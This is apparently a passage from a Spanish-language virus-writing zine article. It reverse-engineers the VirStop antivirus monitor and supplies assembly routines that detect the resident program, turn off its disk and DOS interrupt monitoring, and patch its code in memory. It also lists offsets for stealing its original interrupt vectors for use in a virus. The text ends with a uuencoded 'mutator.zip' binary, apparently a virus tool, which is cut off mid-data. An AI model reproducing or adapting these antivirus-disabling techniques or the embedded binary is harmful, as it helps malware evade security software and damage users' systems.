               int 21h  ����������> CS:0399h
               int 2fh  ����������> CS:0532h
               int 13h  ����������> CS:048Ch
               int 15h  ����������> CS:0599h

Adem�s de estos handlers, usa una rutina de tracing (int 1h), la
rutina instaladora se encuentra en CS:8311h y el handler en CS:8585h,


Handler 2Fh
�����������

Esta es el handler de la int 2fh del VIRSTOP:

;--------------------------------------------------------------------------

VStop_i2f:
                       Cmp     Ax,1605h
                       Jnz     next_choice

                       Mov     Byte Ptr Cs:[02C2h],01
                       Jmp     return

next_choice:
                       Cmp     Ax,1606h
                       Jnz     Seti13Flag

                       Mov     Byte Ptr Cs:[02C2h],00
                       Jmp     return

Seti13Flag:
                       Cmp     Ax,4653h
                       Jnz     return

                       Cmp     Cx,07
                       Jnz     try_nine

                       Mov     cs:[Flag_i13],Bl    ; Flag_i13=offset 0531h
                       Iret

try_nine:
                       Cmp     Cx,09
                       Jnz     return

                       Xchg    Ah,Al
                       Mov     Bx,020Ah
                       Nop
                       Push    Cs
                       Pop     Ds
                       Mov     SI,0223h
                       Mov     DI,01D3h
                       Iret

return:
                       Cmp     Word Ptr Cs:[old2f],0
                       Jnz     jump_to_2f
                       Cmp     Word Ptr Cs:[old2f+2],0
                       Jnz     jump_to_2f
                       Iret

jump_to_2f:
                       jump    db 0eah
                       old2f   db 0

;--------------------------------------------------------------------------

Por lo tanto, si llamamos a la int 2fh con el VS en memoria con:

---------------------------------------------------------------------------

Input:  AX = 4653h
       CX = 07h
       BL = 1 --> Desactiva Monitoreo Int 13h
            0 --> Activa Monitoreo Int 13h

Output: Nada

---------------------------------------------------------------------------

Input:  AX = 4653h
       CX = 9

Output: AX = 5346h (AX invertido)
       BX = 020Ah
       SI = 0223h
       DI = 01D3h
       DS = Segmento en el que esta
            instalado el handler de la
            int 2fh (Actual CS)
--------------------------------------------------------------------------

Esta interrupci�n maneja la des/activaci�n de las demas..
Para lo que sirven la funci�n 1606h y 1605h no tengo idea, consegui
tantas cosas buenas con lo que aca muestro que no me moleste en seguir
revisando el codigo, pero si a alguien le interesa verificar el total
comportamiento del VS les prometo darles el source completo de todos
los handlers y su instalacion del VS en un pr�ximo numero, pero para
esto hay que recibir pedidos en nuestros ya conocidos bbs, asi que ya
saben, y sino desensamblenlo uds. que es una pavada, no esta encriptado
ni nada.

Bueno, sigamos..

Los valores devueltos por AX=4653h, CX=9 en BX,SI y DI son fixed, o sea
que son si o si esos los valores que devuelve, ya que estan explicitos
en el mismo handler de la int 21h.. por lo menos hasta este punto del
an�lisis.

La funci�n 4653h, CX=9 es utilisima para nuestros propositos, ya que nos
devuelve el segmento en el que se encuentra el VS instalado, y sabiendo
los offsets en los que se encuentra cada handler podemos hacer dos cosas:

1) Desactivar todo monitoreo modificando las variables del VS:
--------------------------------------------------------------

Para esto veamos porcioncitas de los handlers de la int 21h y de la
int 13h por ejemplo...

VStop_i21:
                       Puhsf
                       Nop
                       Sti
                       Cmp     Byte Ptr cs:[0393h],01
                       Jz      Backi21
                       ...     ....
                       ...     ....
                       ...     ....
                       ...     ....
Backi21:                Popf
                       Jmp     0000:0000

(Les dejo las direcciones porque es pertinente con la explicaci�n, y los
JMP est�n a zero porque el VS se encarga de poner el address de la int 21h
o int 13h al ejecutarse :).. no??.. si en serio :))

Bueno, como ver�n, la rutina se fija si el byte en el offset 0393h esta en
1, y si es as� le da el control a la int 21h original, pues que podemos
hacer?, porque no ponemos en 1 ese byte nosotros y listo?..

ByeByeVS:

     mov ax,4653h                 ; llamamos a la rutina de
     mov cx,9                     ; la int 2fh del VS
     int 2fh

     cmp ax,5346h                 ; nos fijamos si el VS esta
     jne NoVirStpInstalled        ; instalado..

     mov ds:[0393h],1             ; Ponemos el byte en 1

NoVirStpInstalled:

      .. ....
      .. ....


Acuerdense que la funcion 4653h, CX=9 nos devuelve en DS el segmento en
el que est� instalado el VS, asi que sabiendo el offset en el que esta
el byte lo ponemos en 1 y listo, ahora veamos la int 13h..

VStop_i13:


                       Cmp    Byte Ptr cs:[0395h],01
                       Jnz    Backi13
                       Cmp    Byte Ptr cs:[0531h],01
                       Jz     Backi13
                       ...    .......
                       ...    .......
                       ...    .......
Backi13:
                       JMP    0000:0000

Veamos, el segundo CMP es el que se desactiva con la funci�n 4653h, CX=7
ya que esta mueve al offset 0531h un 1.

Pong�mosle que queremos que se vaya directamente con el primer cmp, porque
somos cabezas duras (mas all� de que obviamente esos dos flags son seteados
por diferentes switches o razones), pues hacemos lo mismo de antes:

ByeByeVS:

     mov ax,4653h                 ; llamamos a la rutina de
     mov cx,9                     ; la int 2fh del VS
     int 2fh

     cmp ax,5346h                 ; nos fijamos si el VS esta
     jne NoVirStpInstalled        ; instalado..

     mov ds:[0395h],0             ; Ponemos el byte en 0

NoVirStpInstalled:

      .. ....
      .. ....

Bueno, junten las dos y listo..
Si bien hay diferentes bytes que corresponden a diferentes switches con
esto desactivamos todos estos, ya que volvemos directo a la int original.

Bueno, pero esto tiene inconvenientes, de la misma forma en que nosotros
seteamos los bytes para que no chequee el VS, si por una de esas
casualidades (DEMASIADA, pero DEMASIADA :)) el usuario corre de nuevo el
VS para modificar unos switches puede ponernos los bytes a sus valores
originales de nuevo.
Ademas los offsets podr�an variar de versi�n en versi�n, 'tonces..
que hacemo'?..

2) Patcheamos el VS en memoria:
-------------------------------

Que como es esto?, simple, igual que antes, nada mas que ahora en vez de
cambiar el byte adecuado para que el jump condicional de el resultado que
nosotros queremos, eliminamos el mismo y le ponemos un jump incondicional,
veamos esto para la int 21h..

Sabiendo como dije en el principio de la nota que..

          INT                  Handler

          int 21h  ����������> CS:0399h

y que..

VStop_i21:

xxxx:0399 9C            Pushf
xxxx:039A 90            Nop
xxxx:039B FB            Sti
xxxx:039C 2E            Cs:
xxxx:039D 803E930301    Cmp     Byte Ptr [0393h],01
xxxx:03A2 7438          Jz      03DC

lo que hacemos para patchear al VS es esto..

PatchVS:

     mov ax,4653h                ; nos fijamos si el VS est�
     mov cx,9                    ; instalado
     int 2fh

     cmp ax,5346h
     jne NoVirStpInstalled

     mov ds:[03A2h],0EBh         ; cambiamos el JZ por JMP

NoVirStpInstalled:

     ... ......
     ... ......

Simple, cambiamos el OPCODE del JZ (74h) por el del JMP SHORT (EBh).
Ahora con la int 13h..

veamos que...

          INT                  Handler

          int 13h  ����������> CS:048Ch

y que...

VStop_i13:

xxxx:048C 2E            Cs:
xxxx:048D 803E950301    Cmp     Byte Ptr [0395h],01
xxxx:0492 7534          Jnz     04C8

Lo Patcheamos..

PatchVS:

     mov ax,4653h                ; nos fijamos si el VS est�
     mov cx,9                    ; instalado
     int 2fh

     cmp ax,5346h
     jne NoVirStpInstalled

     mov ds:[0492h],0EBh          ; cambiamos el JZ por JMP

NoVirStpInstalled:

     ... ......
     ... ......

Listo!..

aja!, pero esto tiene otro problema, en otras versiones quiz�s los
distintos handlers puedan empezar en offsets diferentes, porque se le
agregaron nuevas signatures, o por cualquier otra causa, pero eso
no implica que los handlers especificamente hayan sido cambiados, sino
que cambi� su ubicaci�n dentro del programa, que hacer suponiendo
que esto pase?..

Fixed_Number  =  09h

PatchVS2:

     mov ax,4653h                ; nos fijamos si el VS est�
     mov cx,9                    ; instalado
     int 2fh

     cmp ax,5346h
     jne NoVirStpInstalled

     mov ax,3521h                ; tomo address int 21h
     int 21h

     push ds es
     pop  ax cx                  ; este handler es el
     cmp ax,cx                   ; del VS?
     jne NoVirStpInstalled

     add bx,Fixed_Number         ; me muevo hasta el JZ
     mov ds:[bx],0EBh            ; cambiamos el JZ por JMP

NoVirStpInstalled:

     ... ......
     ... ......

Lo que hago es pedir el segmento en el que est� instalado al VS, pido
el address de la Int 21h, y compara el segmento de esta con el segmento
del VS, si no son iguales, significa que algun otro programa capturo
la int 21h despues del VS, por lo tanto cague, puede renunciar o ariesgar-
-me a usar el metodo directo que mostre primero, o usar la int 2fh..

Si los segmentos son iguales, ese es el Handler del Virstop, asi que
ya en BX tenemos ya el offset donde empieza el Handler, lo que hacemos
es sumarle a ese offset la distancia a la que esta el JZ del comienzo
del handler..

xxxx:0399 9C            Pushf                          ..1
xxxx:039A 90            Nop                            ..2
xxxx:039B FB            Sti                            ..3
xxxx:039C 2E            Cs:                            ..4
xxxx:039D 803E930301    Cmp     Byte Ptr [0393h],01    ..5,6,7,8,9
xxxx:03A2 7438          Jz      03DC                   --> Llegamos!

Para que entiendan en este caso..

0399h + 09h  =  03A2h listo!

f�cil no?, y ahi ponemos el 0EBh..

con la int 13h es lo mismo nada mas que Fixed_Number = 06h.

Bueno, listo, creo que es suficiente, si alguien quiere el source
completo del VS chifle, asi lo hago y les muestro mas funciones, ahora
ya me cans� de desensamblarlo..

Ah!, me olvidaba.. falta para la int 15h, que utiliza para verificar el
Disco A: al apretar Ctrl-Alt-Del ...

Pongan el byte en [0394] en 0
o/y
Pongan el Byte en [0586] en 1

y Fixed_Number = 4d

ah! y me olvidaba de nuevo.. :) lo que pueden hacer tambien es obtener
el segmento del VS y robarle la direcci�n de la int 21h y usar esa
direcci�n en su virus, pero gastan demasiados bytes en CALL's, pero
lo pueden hacer si quieren, y para hacerles la vida m�s facil aca van los
offsets en donde esta guardada cada INT original, tomen las precauciones
que les digo en esta nota para diferentes versiones etc..

         INT                        Offset

         21h Original  ����������>  cs:03DEh
         2Fh Original  ����������>  cs:0582h
         13h Original  ����������>  cs:04C9h
         15h Original  ����������>  cs:05B5h

bueno, tengo el presentimiento de que me olvido algo, y bueh.. cualquier
cosa ya saldr� otra nota.. :)

                                   bye!..
                                   WM� [DAN]

begin 666 mutator.zip
M4$L#!!0  @ ( "MNA!TZZ1-*D ,  %H'   ,    3554051/4C N5%A4=571
M;MLX$'PWX'_8QQSJ\S5 BJ(!\J#8OD-ZCAW(3A&@Z,.*7+M,:5(AQ0#)U]\N
M:5MNVO-#0DCD[.SL#'5[OZ[6RQJ^4(C&.S@?O[\<#E:T34XC6-,$"@:AQ<!_
MO#4['S8F[CQ05,%T".2@"EMRG7$X'@Z&@[^7]6T%TQFLZ^JZ^KQDN*NW/]GW
M#F:.(5K!L*"\-EL_ D:B@$Y[2 XT12I[? !M(M?H?.&BD.DI'X+14O8=?$'F
MV1AK7IFVCQ!HRP<"KS2!;QE4<7]YZ]IK?ARY6WI*)K;!-]A8RN\F:%6R"#$!
M/V^-![_91.JXEA.>.^KXM& JM/;/UK>C7"!H[C_P=JD]',!/]2U+UP)&PR@L
M'<-+,^B4$?VZ0%D!QH,7V&_N<-<8UI8*VG/N;L_QAH]XG12!<5PB*>F,<J.!
MK"7GX0PM(:MF,.XK[#!O^/">X:,1H32ROG\(X%QHE%D(E! ,A%G*_7\9R%%$
M+L5T.I;"*$9]X9ZWLLKD%I[/L*S$-;E']>.@X]E]1);/E8E<?(#FI2ND\[9"
MQ+NMZ9*6ITQBESII LX_?KPHV[/#9GP 0A+'023&%YMT6,1-#L:^>82G1(S2
M,#H%L,;]('',8Q('R2QYP,5SPT$I%LV66;M.I!(/7DJI]?QF\2]\_6O]#5;W
MD^7TYI_E>'G]&?:QD75F=(('*7:D2VU-RF+ (!/__R*SAW6].$#"Y5V]G,CC
MNT!B]9 -SV*+ETH.,?)3S&,J*NR%&H^S/I-J/C_ 9:"JKFYGZWJY@@KNJE55
M_RZ3DLK9ZG)Z U=PG38;EHTY=P$;?-R'KB_(;WZZ#0X$N #O[(R<%=^6'SXE
M(P/1 G(,^]%SVI_,A5_WL>=7C#E'Z+%L;Y&W.R4L)T&9<C,/W,S4!,H1R:GU
M.];_U>?C>QYBE</0(O59" PR>9"B5S!!UTEB!*,8]V1?#I?%4VZG]N6E2FA/
MFBB^?V/KDS'5,Q[=HIHN5[^?5![6@=HQ-!N>C)4+^9@LJ>Q;TU/5.,ID?]&N
MYR9J1)(326Z.?,-G7V22\QQ?@>@O.+E)<PC#,T.59E:22_],D@')) ;UW3SG
MB[,-B1KF(86^HQ+M_9[L&SMSCQ+:9WH]LGHDE>2+$4$%PO*9<(D8^5"A;VJ4
MO2;*&Z=L>J'AX%?/H&9$7HUA9GN,(_SAVL\N=W[7!"HZ8&MTOO"_3JO%MU'_
M$83S3Y\N>,]_4$L#!!0  @ ( /F6GQVG;5W4[18  %UV   +    3554051/
M4BY!4TW-/5USV[J.S_6,_P/G[DMRXF0E?UO>/J2-<V]GSFF[37NG.YU,AY88
M6SZRI$AVCMV=_3?[0Y<@*8F20'^D3N^Z<UI;!$$ !$$0 '7&KT_Z:3;&-_[,
M7]& 7(<T<>=;\D\_X;]NV!,+HGC)PA6'.?F@K]Y'RVG"'/+'>D5744+L*XN<
M3<*9'S+R,0K\990\^&YT#K#7:X!PR.\T]CV:^!'Y=G/]_AZ:;ID[I[S)MHG'
MR/OHR6> %W[8HU$70#[3)?W?B(,,!ETRW:Y8^@(,-1M7[6&?__WI^N;=5V+S
MKQ^_O/G]W5ORQY?/UY\_?&HV?K_^^.[F^M.[#^1N\O<_)N\_DS?_]7E"D$^S
M<7UW]^6/"7E[Y^2]6C?:CV;#77_WP_1['/N\P^0_OT _R[+ZGD2@FMW(*S4/
MO69#$21&^OCIPUM"WD^N.7U5*N)U.B?3#2'CCY\F=Y-/_YR0-U_)V9>[ZYL/
MY&9"KO_QX=,UF;PG?US?D8_7_/N'V]N[R>=SD$85F4N#@#S0(+7C)&HVLF].
M-E84\Z'JW=+UE#]O10\/*5MI_0W4THVAP3,U3&-#0^J;4/G$.#ZH%MX):=@!
M:FAR,?11S+L0,KZY>_WV#NN*]Z$;^7U,-Z]Y_RCQ9WY(@SHPTG\9/9&;.^?;
MFZ\76;_O7GK?RG >V]?=W+?<S8'C^/<MS]\)F[+9]RE-V7T+FP\-4*Z0=;AB
MR68OUH("@-T8E1Q&3@QM+EU.?;K9[!.2 /:8&WDL2=8K T#,DN5Z11,V,P#,
M6,@2^B?;&MI7"4U3/HB)VBCVJ1'U=Q:ZB1^#',:_'?7A'3@.=QW0A 24!%$X
M\U=KC\0TH22..,U!1%A(W,T5)F4Q*>ZF]4V?OHOIYMX 2CFHICX&2+ T'"EF
M0<@S>.1,IC3P/1JM5XYIU>+/F3  ACX^_CPU/$?-&^#9F*P"?VY A71)V*K9
M6*H=//NPT*N/>KP #5(52JE1ED0N"1FMKSBPF!21HUPZ4<CBN"ZT#>>#HEH@
ME"YH69UYC;,P2J-PE;!4[F8!H\3S6]]B&U4U:236J4O],#53QQM7R9J0L1L%
MD4L)"^0>,)NUU%[0@EF9S:Z.X] /76R;])C+V:L]7H0_2,Y>LS&^_,D/1T&#
M)7592(G:U./N%2IL>L@*!\!O'-'WN OM8N+&WW_V4QLFG]*N>4KU2=-G#1KW
M3!$FE1YF^YXAEUXN%S-7O>.Y$B9AL=C#V(OH2_\D^M(_J;Z89=M_AFRIYY'%
MHO6#?_X5 AZ<1,"#7[(@!\\0KS#EDHF6RS__"AD/3R+CX2^1\?"9,MYN6]\6
MB_N7%J\0L _BXH@I"6A*)$FNZ_-!4L(>F+ORG_AS#P(#J71<5Q2:B<G,ND$+
M8@4D7B7?! (X2S-4$KG3 ,Y ZL_6# 11=@9**"[LGW0+7GK+SYD0WN#X\B56
MP.@D*V!DWM[V^W)M@R_G1<J5*]; Z)2^G"!_L;AO;;>D):9GL2"_Q(WCG EW
MX^<GU&0L;/MX:R&HEO--MO  Z'TAPVNW?T+O@%"#U UJ)K74;K^LMU%U)XV3
MTWFFIS>;_8I-,DG8+(C2(X)K:N8@1)-%?2[>?+W' 5F*&8/2@X**PG4?>RR-
M _J#+GT6KB("X6LX=V[\)8@U86(?27V2,GCLK5VF=2:7$D8 >>HY?]CA;=)!
MOY3GE\L.4%(E+P]@Y+X\!@&36YR"JA 0VN XZK$#U6!95F=>;0,#(T*=]='^
MBA(/]D4RN7.^03Q.FM^2Y/A'<%OWM8P<%M' O6P.3! 5TB[L@K@9)T[0]B?;
M/CX2B#NENIM"MKI=KB!'B=8\!(%S+]E#$T2&)R.[/>=T!SMQC8[%59X@.%N
M.U0Z:G 0^/):MX/D4@GL4IG0N$LN2 >)@8O]=MZB<XRJ0^)U6@ANYS+H[NQ,
M#"U"R_&9S(7:/U2OVC)@798I[%KQ$#<8)7NA&PR.6!F,E 8<N&PN(#ZJ]=;\
M6N@?1J(3K?NP):[D[H- Y!(=&@#<S2X4H#L@V'9UQI5=J87T,?6T,^TLPV:!
MT,HS+* G@I"5L*",0?YLT+'9*&V*6;@1CS=F <=?N7>)IM07.$JK2^!I-A(6
MLY6?1'&[XQ@(*(P8 5N.A/N7,4!9]KS>MOC!";/LE,4VCGYRYQ3H4Q^S:G*K
MP0+8\)QSEJ\]A$6L"Q8C7W FTGF4K(@FDF8C(]XQ1^*1Y]00"*\J"RCAZ0+?
MF4M&R<T[0N-UN**A%Q$P"KE-^$K./,H?QN+H [ES%HC4'I.^QQ-S(5+/?\$>
MO:;\"2 4)Y@$S)$?SA*64H"X>7?%^R=LYG..HI2X49)$R]CW^/=+$G+(=1B1
M2U"S[ 1T4$P>\Y15JAGUH*?S%J=S?U92+2=DSG:.ZA;)N#'O/@4,6#)2H?=2
M?&2Q/@$'2U\CB9TH 3ZF]24D5E! 7099[>K*"SR<#%B-,):0.W%I0ETX.J4,
M,F@>'^MOEOVW9B.@/Z+-INW@Y]]-R[:L.<>2,I*N07?)XYH1&JZ8")3P5EDM
M05CHKEFX2J@P*!RN,/0N3:?H<0AC-?Q!%$FP\B33#L$^]:F*XF*FQ@E+5W2=
M<-8W*"2M0R)J83:K,MU5PS$]>#0$I[ 0E84B=ZE3V8>$AAXL=)GU)>N0A.LE
M2R)" P8).C\2T]HG4W\%RWD9)YP WXO 3$""AYQ99$NNOYZ#T9+9RSH*/L#U
M5]TR:(9!MC0;&26E)-V.7=-<GN$:ZS8,FZ$AA0O[@JG"0*QJYYO(VW/"86,A
MXX!%X'O!PV8C7=$$FAP\6P^.K[=I>0;\TTVK;?4Z'B'CY3I8^7'@N[!*$>AU
M8&2,8[$[P^[(@[-YR"D*5^"]^Q#81#;MH![5%OZ:,'%26]/UDB:0=(<UOF1A
ME$+<+_0?.'DB7(IDPDN?,6PI"4LY4]2+L/%<D(M%]/&H"QYS)-Q7YK(4RKF,
M'%L/_#/G'--D!I%=4K#>/K/[YY>(V^'Y3\7B)46EP3+RUD%D5@$EE>6:/3'@
MRO?60MOK12U[*FM,,UA5,M@PQK,U3<0R8T^9MAEKFS3)AU&RI('_0T1HJFO4
MR&._U^OT1('86!H)+U*^ *=I%I&827-@5/!\_#.+7)+KK^0L.[6?G^,SX>K2
M&^,+D^Z!V;CSF3K;9>ROV5.D^'[MARORWV>"MW\7?)Q?V/]S"!.["Z-,,(=P
M);>KPTLOQ.90M9HGW1V$XA&T;D+J@C!W*5OZ ?]75.)D]#0;T2JAXGQB.VK2
MP ?I6LB) !S/ /7R%S](@<>@HG/1,P=K[QTND>/9SR6D??!2-4Q:5:XGG305
[email protected]_CP?$D)U4CFE+EJG"90^!LR3P_@D-)N*IE\+ ,""FR;N5=209&
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
M49IKP!VE$:0 W$C#B6&]M:M8-])^HL!M#-@@X]L.!FR0\6T7 S;(^+:'TFP
M[J,T&X '*,T9<+,Q>7]S)_XFAWR:C?\#4$L#!!0  @ ( #"O8QTH<BM*4P<
M $P*   +    3554051/4BY/0DIEE7]L$]<=P-_7YW>^)B00&*04B+.&A;'P
M8Y"$$!)*4NJ85 4"! ADHZ13M'4J0R1V-[5_]%#4^'P7D[3:8-,Z+66:V%@[
MP<1$,E3Y@A/'H?PX#&-=LTZH\Z27>>%76H>B<F_?%T)UTF1__-Y]WGOWON^G
MU1R2?2 8: D<;%O1TGY@7/,20AJ#;2\=+*QM;V\]\-(KK6V%A;M:V]I?/OBC
MPM4KOMVOS2$U8PM.?&^1LUU D]"^<-1%R ]$]MV?'LTF3[Q0VU#_7.WV^JT#
M/_>0PENR"Z"^)Y<0\&S>V5C;N'4[]K5"<Y.:X_!6[S]=0,@.1DCSX;2;-&S?
MN6NW7%"0ZVT*AY;3<'<)#4>7T*[02DQ7T?"QI91=![;4Q2ZZV&Z)?2*Q<C>;
M1]A.E]&]BAJA);0DX?6\N.^[>YN:8_O9!U!JGI8B41=ESP+S GL/:NR1X"TC
MA"\+E=-(5*%, ?8S>&0JT,R@+$-8Q[2I1)-+68JP0].F"LT<RI*$O3AMUJ/)
MI\PD;#/HW95RJ1F)KI.91=C[A*US]KB!8CRN2'0!97\BK)NPA8]*(]&O4Z82
M46G3IG"HEC()(M%O4/8*85\0V<#Q'S$-#,^(EM.2X>42\1>'<;@E**IH<=@'
M>FBM;$37TV+-YS*B&Z;2U2DQ*24) T=:DN@8DXQH)5;>C!5JL?%Z:G37THX!
M5\D U@9/2VS_XY[.KJ(ZK89 =K'FKN,8E3]]&\L;=NCWN\R&;5T?'3&S>&#&
